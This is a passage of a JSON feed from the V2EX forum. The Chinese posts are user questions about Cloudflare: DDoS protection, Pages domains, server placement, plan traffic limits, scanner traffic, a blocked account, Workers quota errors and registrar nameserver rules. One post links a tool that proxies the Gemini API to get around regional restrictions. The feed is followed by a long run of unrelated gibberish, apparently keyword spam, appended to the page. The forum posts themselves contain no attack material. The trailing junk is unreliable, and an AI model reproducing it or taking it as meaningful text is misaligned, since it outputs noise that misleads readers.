\n", "date_published": "2025-09-13T06:21:35+00:00", "title": "\u9ed8\u8ba4 cloudflare \u4e0d\u5bf9\u7f51\u7ad9\u505a\u9632\u62a4\u5417\uff1f", "id": "t/1158964" }, { "author": { "url": "member/3img", "name": "3img", "avatar": "https://cdn.v2ex.com/avatar/4b0b/4f95/37965_large.png?m=1646962058" }, "url": "t/1155197", "date_modified": "2025-08-27T06:20:56+00:00", "content_html": "

\u73b0\u5728\u7ed1\u4e86\u4e8c\u7ea7\u57df\u540d\u662f\u53ef\u4ee5\u7684

\n", "date_published": "2025-08-27T02:19:18+00:00", "title": "cloudflare \u7684 page \u80fd\u7ed1\u5b9a\u6839\u57df\u540d\u5417", "id": "t/1155197" }, { "author": { "url": "member/shendaowu", "name": "shendaowu", "avatar": "https://cdn.v2ex.com/avatar/6fa4/0f0c/233858_large.png?m=1771487434" }, "url": "t/1154647", "title": "\u96be\u4ee5\u7f13\u5b58\u7684\u52a8\u6001\u9875\u9762\u7528\u514d\u8d39 Cloudflare \u670d\u52a1\u5668\u653e\u5728\u90a3\u91cc\u66f4\u5feb\uff1f\u7528 CF \u4e3b\u8981\u662f\u4e3a\u4e86\u9632 DDoS\u3002", "id": "t/1154647", "date_published": "2025-08-25T00:23:22+00:00", "content_html": "

\u7ad9\u5185\u80fd\u641c\u5230\u4e00\u4e2a\u76f8\u5173\u7684\u5e16\u5b50\uff1a https://v2ex.com/t/189444 \u3002\u4e0d\u8fc7\u90a3\u4e2a\u8bf4\u7684\u662f CDN \u7684\u901f\u5ea6\u3002

\n

\u6211\u7684\u7f51\u7ad9\u4f1a\u6709\u4e00\u4e9b\u80fd\u7f13\u5b58\u7684\u9875\u9762\u3002\u80fd\u7f13\u5b58\u7684\u6211\u80af\u5b9a\u4f1a\u8bbe\u7f6e\u7f13\u5b58\u7684\u3002\u95ee\u9898\u662f\u5927\u90e8\u5206\u9875\u9762\u53ef\u80fd\u90fd\u662f\u96be\u4ee5\u7f13\u5b58\u7684\u3002\u6211\u5f3a\u884c\u5206\u6790\u4e86\u4e00\u4e0b\uff0c\u5982\u679c\u670d\u52a1\u5668\u5728\u9999\u6e2f\u7684\u8bdd\uff0c\u76f8\u6bd4\u670d\u52a1\u5668\u5728\u7f8e\u56fd\u897f\u6d77\u5cb8\u53ef\u80fd\u4f1a\u7ed5\u66f4\u591a\u7684\u8def\u3002\u53e6\u5916\u4e0d\u77e5\u9053\u670d\u52a1\u5668\u5728\u97e9\u56fd\u6216\u8005\u65e5\u672c\u4f1a\u4e0d\u4f1a\u66f4\u5feb\u3002\u6211\u6253\u7b97\u7528\u963f\u91cc\u4e91\uff0c\u6211\u770b\u8fc7\u4e86\uff0c\u4e0d\u540c\u5730\u533a\u5171\u4eab\u578b\u670d\u52a1\u5668\u4ef7\u683c\u662f\u4e0d\u4e00\u6837\u7684\u3002\u97e9\u56fd\u597d\u50cf\u6ca1\u6709\u5171\u4eab\u578b\u7684\u670d\u52a1\u5668\u3002\u4e0d\u77e5\u9053\u6709\u6ca1\u6709\u66f4\u591a\u7684\u5751\u3002\u6211\u8fd8\u9700\u8981\u7528\u65e5\u5fd7\u670d\u52a1\u548c OSS \uff0c\u6ca1\u51c6\u8fd8\u4f1a\u7528\u5176\u4ed6\u7684\u670d\u52a1\u3002

\n" }, { "author": { "url": "member/shendaowu", "name": "shendaowu", "avatar": "https://cdn.v2ex.com/avatar/6fa4/0f0c/233858_large.png?m=1771487434" }, "url": "t/1154112", "title": "Cloudflare \u5404\u4e2a\u8ba1\u5212\u591a\u5c11\u6d41\u91cf\u4ee5\u4e0b\u4e0d\u4f1a\u88ab\u5ba2\u670d\u50ac\u7740\u4e70\u66f4\u9ad8\u7684\u8ba1\u5212\uff1f", "id": "t/1154112", "date_published": "2025-08-22T00:16:58+00:00", "content_html": "

\u6211\u4e4b\u524d\u542c\u8bf4\u514d\u8d39\u7684\u8ba1\u5212\u88ab\u653b\u51fb\u7684\u6d41\u91cf\u5927\u4e86\u4f1a\u88ab\u5ba2\u670d\u50ac\u7740\u4e70\u4ed8\u8d39\u8ba1\u5212\u3002\u6240\u4ee5\u5047\u8bbe\u4ed8\u8d39\u7684\u8ba1\u5212\u6d41\u91cf\u5927\u4e86\u4e5f\u4f1a\u88ab\u50ac\u3002\u53e6\u5916\u6211\u4e0d\u77e5\u9053\u6d41\u91cf\u5177\u4f53\u662f\u600e\u4e48\u8861\u91cf\u7684\uff0c\u662f\u6bcf\u5929\u5927\u4e8e\u591a\u5c11\u6d41\u91cf\uff0c\u6bcf\u6708\u5927\u4e8e\u591a\u5c11\u6d41\u91cf\uff0c\u8fd8\u662f\u7a81\u53d1\u7684\u6d41\u91cf\u3002\u6216\u8005\u6709\u5176\u4ed6\u7684\u6807\u51c6\uff1f\u6211\u8bf4\u7684\u8ba1\u5212\u5c31\u662f\u5e94\u7528\u7a0b\u5e8f\u670d\u52a1\u90a3\u4e2a\uff0c20 \u7f8e\u5143\u4e00\u4e2a\u6708\u3001200 \u7f8e\u5143\u4e00\u4e2a\u6708\u90a3\u4e2a\uff0c\u8fd8\u6709\u514d\u8d39\u548c\u5b9a\u5236\u7684\u3002\u8fd9\u91cc\uff1a https://www.cloudflare.com/zh-cn/plans/ \u3002

\n

\u53e6\u5916\u88ab\u50ac\u4e4b\u540e\u4e0d\u5347\u7ea7\u4f1a\u600e\u6837\uff1f\u6211\u53ea\u641c\u5230\u4e00\u4e2a\u8bf4\u6ca1\u4ec0\u4e48\u4e8b\u7684\u3002\u4e0d\u592a\u611f\u4fe1\u3002\u53e6\u5916\u6211\u9690\u7ea6\u8bb0\u5f97\u6211\u770b\u5230\u6709\u4eba\u8bf4\u4e0d\u5347\u7ea7\u4f1a\u6709\u4e00\u4e9b\u9ebb\u70e6\uff0c\u4f46\u662f\u641c\u4e0d\u5230\u4e86\u3002

\n

\u6211\u7684\u7f51\u7ad9\u672c\u8eab\u5e94\u8be5\u4e0d\u4f1a\u6709\u591a\u5c11\u6d41\u91cf\uff0c\u5c31\u662f\u53ef\u80fd\u4f1a\u88ab D \u3002\u8fd9\u4e2a\u6709\u5173\u7cfb\u5417\uff1f

\n" }, { "author": { "url": "member/defaqman", "name": "defaqman", "avatar": "https://cdn.v2ex.com/gravatar/f6afbb2f4682d494402a9a325c13f515?s=73&d=retro" }, "url": "t/1153498", "date_modified": "2025-08-20T06:14:53+00:00", "content_html": "

\u5982\u9898\uff0c \u4e4b\u524d\u4ece\u5f00\u59cb\u4e70\u57df\u540d\uff0c\u90e8\u7f72\u5c0f\u670d\u52a1\uff0c \u5c0f\u7f51\u7ad9\uff0c \u8585\u7f8a\u6bdb\u4e00\u7cfb\u5217\u514d\u8d39\u7684\u548c\u4f4e\u4ef7\u7684\u670d\u52a1\u7528\u591a\u4e86\u4e4b\u540e\uff0c \u6211\u73b0\u5728\u65b0\u9879\u76ee\u90e8\u7f72\u7684\u65f6\u5019\u867d\u7136\u660e\u663e\u5bf9\u6bd4 aws \u548c gcd \u7b49\u66f4\u5408\u9002\uff0c \u4f46\u662f\u6211\u8fd8\u662f\u60f3\u8981\u7528 cf \u3002\u8d5b\u535a\u83e9\u8428\u5df2\u7ecf\u5c06\u6211\u628a\u63e1\u4e86\uff0c \u5c31\u9694\u8fd9\u7b49\u7740\u3002

\n", "date_published": "2025-08-19T09:26:50+00:00", "title": "\u6211\u53d1\u73b0 cloudflare \u7528\u591a\u4e86\u4e4b\u540e\uff0c \u6211\u6240\u6709\u7684\u89c4\u5212\u90fd\u60f3\u5f80\u4e0a\u9760", "id": "t/1153498" }, { "author": { "url": "member/TrackBack", "name": "TrackBack", "avatar": "https://cdn.v2ex.com/gravatar/33c6b285c23c89c9711033aa6bf64d99?s=73&d=retro" }, "url": "t/1153316", "date_modified": "2025-08-18T23:29:51+00:00", "content_html": "\u81ea\u5df1\u7684\u9759\u6001\u5c0f\u535a\u5ba2\u4e4b\u524d\u6258\u7ba1\u5728\u56fd\u5185\u67d0\u4e91\u5bf9\u8c61\u5b58\u50a8+cdn, \u56e0\u4e3a\u672c\u6765\u5c31\u81ea\u5df1\u73a9\u73a9\u4e5f\u6ca1\u591a\u5c11\u6d41\u91cf

\u4e0a\u4e2a\u6708\u611f\u89c9\u8d39\u7528\u592a\u8d35\u4e86\uff0c\u76f4\u63a5\u5168\u90e8\u8fc1\u79fb\u5230 cloudflare pages, \u514d\u8d39\u662f\u514d\u8d39\u4e86\uff0c\u4f46\u662f\u6bcf\u5929\u591a\u4e86\u51e0\u5341\u500d\u8bf7\u6c42\uff0c\u5168\u662f\u5168\u7403\u5404\u5730\u5947\u602a\u7684\u8def\u5f84\u5728\u626b

\u535a\u5ba2\u672c\u8eab\u6bcf\u5929\u7684\u9605\u8bfb\u603b\u6570\u5012\u662f\u548c\u4e4b\u524d\u6ca1\u4ec0\u4e48\u533a\u522b

\u867d\u7136\u6211\u4e00\u4e2a\u9759\u6001\u535a\u5ba2\u4e5f\u4e0d\u6015\u4ed6\u626b\uff0ccloudflare \u4e5f\u4e0d\u6536\u94b1

\u4f46\u662f\u8fd8\u662f\u5f88\u5947\u602a\uff0c\u6211\u57df\u540d\u90fd\u6ca1\u53d8\u5b83\u4eec\u600e\u4e48\u7a81\u7136\u627e\u5230\u6211\u7f51\u7ad9\u7684\uff1f cloudflare \u4f1a\u5728\u54ea\u91cc\u516c\u5f00\u5417\uff1f", "date_published": "2025-08-18T15:48:31+00:00", "title": "\u7f51\u7ad9\u4e0a cloudflare \u4e4b\u540e\u7684\u5947\u602a\u6d41\u91cf\u90fd\u662f\u54ea\u91cc\u6765\u7684", "id": "t/1153316" }, { "author": { "url": "member/viger", "name": "viger", "avatar": "https://cdn.v2ex.com/avatar/f5eb/d52a/40775_large.png?m=1755230199" }, "url": "t/1152606", "date_modified": "2025-08-16T04:57:57+00:00", "content_html": "\u524d\u6bb5\u65f6\u95f4\u77ed\u6682\u5c1d\u8bd5(1 \uff0c2 \u5929)\u4e86\u6700\u65b0\u51fa\u6765\u7684 MOONTV \u8fd9\u4e2a\u9879\u76ee\uff0c\u5f88\u5feb\u5c31\u4ece CF \u5220\u9664\u4e86\u3002
\u4f46\u662f\u8fd8\u662f\u88ab CF \u9501\u4e86\u8d26\u6237\u521b\u5efa works \u548c pages \u90e8\u7f72\u529f\u80fd\uff1b
\u4e0d\u77e5\u9053\u5404\u4f4d\u57fa\u53cb\u6709\u4ec0\u4e48\u89e3\u9501\u65b9\u6cd5\u6ca1\u6709?
\u5f53\u7136\u5f88\u591a\u57fa\u53cb\u5efa\u8bae\u8bf4\u91cd\u5efa\u4e00\u4e2a\u8d26\u6237\u5c31\u597d\u4e86,\u8fd9\u4e5f\u662f\u4e00\u4e2a\u597d\u65b9\u6cd5\uff1b\u5f53\u65f6\u4e0d\u9002\u5408\u6211\uff08\u6211\u6709\u5f88\u591a\u9879\u76ee\u8fd8\u6709\u5728\u7528\u7684\u7389\u7c73\uff0c\u8fc1\u79fb\u8d77\u6765\u975e\u5e38\u9ebb\u70e6\uff09\uff1b
\u8c8c\u4f3c\u5199 report reuse \u7ed9 CF \u4e5f\u662f\u673a\u5668\u4eba\u56de\u590d\uff0c\u5e76\u65e0\u5b9e\u9645\u6548\u679c\uff1b
--
\u770b\u6765\u6d4b\u8bd5\u4e00\u4e9b\u5371\u9669\u9879\u76ee\u8fd8\u662f\u5f97\u7528\u5c0f\u53f7\uff1b
\u5426\u5219\u5bfc\u81f4\u975e\u5e38\u9ebb\u70e6\u7684\u4e8b\u60c5\uff1b
--
\u8981\u5410\u69fd\u7684\u57fa\u53cb\u8bf7\u52ff\u4eba\u8eab\u653b\u51fb\uff1b
\u8c22\u8c22\uff1b", "date_published": "2025-08-15T04:01:05+00:00", "title": "\u88ab CF block \u4e86\u8d26\u6237,\u4f55\u89e3\uff1f", "id": "t/1152606" }, { "author": { "url": "member/netnr", "name": "netnr", "avatar": "https://cdn.v2ex.com/avatar/9bfd/9fda/426497_large.png?m=1758579152" }, "url": "t/1152564", "title": "Workers \u989d\u5ea6\u8d85\u4e86\u5bfc\u81f4\u9759\u6001\u7ad9\u70b9\u62a5\u9519 1027", "id": "t/1152564", "date_published": "2025-08-15T02:31:55+00:00", "content_html": "

\u4eca\u5929\u65e9\u4e0a\uff0c\u8bbf\u95ee\u90e8\u7f72\u5230 Cloudflaer Pages \u7684\u9759\u6001\u7ad9\u70b9\u62a5\u9519 1027 \uff0c\u518d\u7ec6\u770b\u4e86\u4e00\u4e0b\u662f Workers \u989d\u5ea6\u8d85\u4e86\uff0c\n\u6709\u4e00\u4e2a\u90e8\u7f72\u7684\u662f Workers \uff0c\u5176\u4f59\u7684\u5168\u662f\u9759\u6001\u7ad9\u70b9\uff0c\u4e5f\u62a5\u9519 1027 \uff0c\u4ee5\u524d\u6ca1\u9047\u5230\u8fc7\u8fd9\u79cd\u60c5\u51b5\uff0c\u4ee5\u524d\u4e5f\u7ecf\u5e38 Workers \u8d85\u989d\u5ea6\uff0c\u4f60\u4eec\u5462\uff1f

\n" }, { "author": { "url": "member/ethusdt", "name": "ethusdt", "avatar": "https://cdn.v2ex.com/avatar/e7d0/b1a7/254353_large.png?m=1772793943" }, "url": "t/1152171", "date_modified": "2025-08-16T04:58:03+00:00", "content_html": "

CF Agreement \u4e2d\u663e\u793a\u7684:

\n
\n

6.1 Nameservers. Registrant agrees to use Cloudflare\u2019s nameservers. REGISTRANT ACKNOWLEDGES AND AGREES THAT IT MAY NOT CHANGE THE NAMESERVERS ON THE REGISTRAR SERVICES, AND THAT IT MUST TRANSFER TO A THIRD-PARTY REGISTRAR IF IT WISHES TO CHANGE NAMESERVERS.

\n
\n

\u5728 Saas \u5e73\u53f0\u8981\u7ed1\u5b9a\u8fd9\u4e2a\u57df\u540d\u5230\u5e97\u94fa\uff0c\u9700\u8981\u4fee\u6539 ns \uff0c\u4f46 cf \u540e\u53f0\u4e0d\u652f\u6301\u4fee\u6539\u3002\uff08 saas \u4e0d\u652f\u6301 A, CNAME \uff0c\u53ea\u80fd\u6539 NS)

\n

\"saas\"

\n

\u76ee\u524d\u6211\u7684 cf \u662f\u4e2a free plan \uff0c\u8fd8\u6ca1\u6709\u53d1\u5de5\u5355\u7684\u6743\u9650\uff0c\u53ea\u80fd\u53bb\u793e\u533a\u91cc\u53d1\u8d34\u3002

\n

\u5347\u7ea7 Pro \u53d1\u5de5\u5355\u7684\u8bdd\uff0c\u5ba2\u670d\u80fd\u5e2e\u4fee\u6539\u5417\uff1f

\n", "date_published": "2025-08-13T10:05:37+00:00", "title": "cf \u4e70\u7684\u57df\u540d\u7adf\u7136\u4e0d\u652f\u6301\u6539 NS", "id": "t/1152171" }, { "author": { "url": "member/RealYourDad", "name": "RealYourDad", "avatar": "https://cdn.v2ex.com/avatar/504e/77fe/558079_large.png?m=1743039867" }, "url": "t/1151544", "title": "\u5199\u4e86\u4e2a\u5c0f\u5de5\u5177\uff0c\u514d\u8d39\u4e2d\u8f6c Gemini API", "id": "t/1151544", "date_published": "2025-08-11T05:13:29+00:00", "content_html": "

https://github.com/zaunist/gemini-balance-do

\n

\u539f\u7406\u89e3\u6790\uff1a

\n

Durable Objects \u662f cloudflare \u7684\u4e00\u6b3e\u652f\u6301\u514d\u8d39\u989d\u5ea6\u7684\u4ea7\u54c1\uff0c\u53ef\u4ee5\u56fa\u5b9a\u5728\u6307\u5b9a\u533a\u57df\u8fd0\u884c\uff0c\u6bd4\u5982\u7f8e\u56fd\u3002

\n

\u56e0\u6b64\u7ed3\u5408 cloudflare worker \uff0c\u53ef\u4ee5\u5b9e\u73b0\u4ee3\u7406 Gemini API \u8bf7\u6c42\uff0c\u5e76\u4e14\u7531\u4e8e Durable Objects \u4f5c\u4e3a\u4e00\u4e2a\u6301\u4e45\u5bf9\u8c61\uff0c\u521b\u5efa\u5b8c\u6210\u4ee5\u540e\u533a\u57df\u5c31\u4e0d\u4f1a\u53d1\u751f\u6539\u53d8\uff0c\u6240\u4ee5\u53ef\u4ee5\u7a33\u5b9a\u4ee3\u7406 Gemini API \u3002

\n

\u5373\u4f7f\u4f60\u4f7f\u7528\u4e86\u4f4d\u4e8e\u9999\u6e2f\u7684\u4f18\u9009 ip \uff0c\u6700\u7ec8\u8bf7\u6c42\u4e5f\u4f1a\u8f6c\u53d1\u5230\u7f8e\u56fd\u7684 Durable Objects \u4e2d\uff0c\u4e0d\u4f1a\u53d7\u5230\u5730\u533a\u9650\u5236\u3002

\n" } ] } ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86